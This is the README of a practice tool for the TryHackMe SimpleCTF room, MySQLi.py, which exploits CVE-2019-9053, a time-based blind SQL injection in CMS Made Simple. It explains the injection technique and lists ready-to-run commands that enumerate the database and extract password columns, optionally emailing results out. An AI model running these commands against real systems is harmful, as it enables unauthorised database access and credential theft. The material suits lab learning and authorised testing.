MySQLi.py is a personal practice project, inspired by Exploit-DB exploit 46635, used during the SimpleCTF room on TryHackMe.
What caught my attention in the original exploit was its ability to extract credentials and even crack the password hash automatically. With that motivation, I wanted to write my own version - more modern, with a better interface and more customization options. Maybe there are already tools like this out there, but I hope this small program is one more contribution to the ethical hacking world!
The tool exploits CVE-2019-9053, a vulnerability in CMS Made Simple < 2.2.10 that exposes an unsanitized parameter vulnerable to time-based blind SQL injection, with no authentication required. Since the web response does not show data directly, the technique works by injecting IF(SUBSTRING(...), SLEEP(n), 0) conditions and measuring the response time to guess each character, one by one, from the database, tables, columns and data.
pip install -r requirements.txt
To use the --email flag, create a .env file in the same directory.
Use the template from .env.example:
GMAIL_USER=your@gmail.com
GMAIL_PASS=xxxx xxxx xxxx xxxx
The password must be a Google App Password, not your regular Gmail password. You can generate one at: myaccount.google.com/apppasswords
git clone https://github.com/rgkue/mysqli.git
cd mysqli
pip install -r requirements.txt
python3 mysqli.py --help
$ python3 mysqli.py --help
███╗ ███╗██╗ ██╗███████╗ ██████╗ ██╗ ██╗
████╗ ████║╚██╗ ██╔╝██╔════╝██╔═══██╗██║
██╔████╔██║ ╚████╔╝ ███████╗██║ ██║██║ ██║
██║╚██╔╝██║ ╚██╔╝ ╚════██║██║▄▄ ██║██║ ██║
██║ ╚═╝ ██║ ██║ ███████║╚██████╔╝███████╗██║
[!] Time-Based Blind SQL Injection for MySQL
Author: Isaac Muñoz - @rgkue | Github: github.com/rgkue/mysqli
Options:
--url <url> Target URL (required)
--mode <mode> Attack mode: database / tables / columns / exfil
--sleep <seconds> Sleep time for time-based injection (default: 5)
--delay <seconds> Delay between requests
--field <name> Vulnerable form field name (default: username)
--max <positions> Max character positions to extract (default: 40)
--table <name> Table name (required for columns/exfil)
--column <name> Column name (required for exfil)
--offset <n> Row offset - 0=first, 1=second... (default: 0)
--email <address> Send results to email (optional)
--output <file> Save data on a file
--help, -h Show this help message and exit
Examples:
python3 mysqli.py --url http://target/login.php --mode database
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
python3 mysqli.py --url http://target/login.php --mode columns --table users
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
python3 mysqli.py --url http://target/login.php --mode database --email you@gmail.com
# 1. Get the active database name
python3 mysqli.py --url http://target/login.php --mode database
# 2. List tables (use --offset to iterate)
python3 mysqli.py --url http://target/login.php --mode tables
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
# 3. List columns from a table
python3 mysqli.py --url http://target/login.php --mode columns --table users
# 4. Extract data from a column
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
# 5. Run multiple modes in one command
python3 mysqli.py --url http://target/login.php --mode database,tables
# 6. Save results to a file
python3 mysqli.py --url http://target/login.php --mode database --output results.txt
# 7. Send report by email
python3 mysqli.py --url http://target/login.php --mode database,tables --email you@gmail.com
# 8. Custom injection field
python3 mysqli.py --url http://target/search.php --mode database --field searchMySQLi.py is designed exclusively for educational use and for environments where you have explicit permission to perform security testing.
Using this tool against systems without prior written authorization from the owner is illegal and may be a criminal offense under the laws of many countries. The author is not responsible for any damage, data loss, legal consequence, or any other harm caused by misuse of this software.
Only use it in your own labs, CTF environments, practice platforms like TryHackMe or HackTheBox, or systems you are authorized to test.
Happy Hacking! :)